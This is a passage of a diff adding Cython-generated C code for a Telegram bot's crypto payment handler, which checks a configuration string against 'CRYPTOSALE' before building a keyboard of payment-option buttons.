__Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 38, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_callback_pay_cryptobot", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_process_callback_pay_cryptobot(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_process_callback_pay_cryptobot(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_cryptobot", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 38, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_cryptobot, __pyx_n_s_process_callback_pay_cryptobot, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_callback_pay_cryptobot", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + int __pyx_t_2; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + Py_ssize_t __pyx_t_6; + PyObject *(*__pyx_t_7)(PyObject *); + Py_ssize_t __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_cryptobot", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L10_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + case 4: goto __pyx_L14_resume_from_await; + case 5: goto __pyx_L15_resume_from_await; + case 6: goto __pyx_L16_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 38, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":43 + * ): + * + * expected_hash = "CRYPTOSALE" # <<<<<<<<<<<<<< + * if PROJECTMANECONGIGURE != expected_hash: + * logger.error(" CRYPTO_HASH. .") + */ + __Pyx_INCREF(__pyx_n_u_CRYPTOSALE); + __Pyx_GIVEREF(__pyx_n_u_CRYPTOSALE); + __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_CRYPTOSALE; + + /* "handlers/payments/cryprobot_pay.py":44 + * + * expected_hash = "CRYPTOSALE" + * if PROJECTMANECONGIGURE != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PROJECTMANECONGIGURE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 44, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/cryprobot_pay.py":45 + * expected_hash = "CRYPTOSALE" + * if PROJECTMANECONGIGURE != expected_hash: + * logger.error(" CRYPTO_HASH. .") # <<<<<<<<<<<<<< + * await callback_query.message.answer( + * text=" , @solonet_sup." + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_CRYPTO_HASH}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":46 + * if PROJECTMANECONGIGURE != expected_hash: + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":47 + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + * text=" , @solonet_sup." # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 47, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":46 + * if PROJECTMANECONGIGURE != expected_hash: + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 46, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 46, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":49 + * text=" , @solonet_sup." + * ) + * return # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/cryprobot_pay.py":44 + * + * expected_hash = "CRYPTOSALE" + * if PROJECTMANECONGIGURE != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + */ + } + + /* "handlers/payments/cryprobot_pay.py":52 + * + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":53 + * + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0)) __PYX_ERR(0, 53, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_int_2)) __PYX_ERR(0, 53, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { + __pyx_t_1 = __pyx_t_3; __Pyx_INCREF(__pyx_t_1); + __pyx_t_6 = 0; + __pyx_t_7 = NULL; + } else { + __pyx_t_6 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 53, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + for (;;) { + if (likely(!__pyx_t_7)) { + if (likely(PyList_CheckExact(__pyx_t_1))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 53, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 53, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 53, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 53, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } + } else { + __pyx_t_3 = __pyx_t_7(__pyx_t_1); + if (unlikely(!__pyx_t_3)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 53, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":54 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_8 = PyObject_Length(__pyx_t_4); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = PyObject_RichCompare(__pyx_t_3, __pyx_t_4, Py_LT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/cryprobot_pay.py":55 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/cryprobot_pay.py":56 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/cryprobot_pay.py":57 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":58 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":56 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/cryprobot_pay.py":60 + * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/cryprobot_pay.py":61 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/cryprobot_pay.py":62 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + 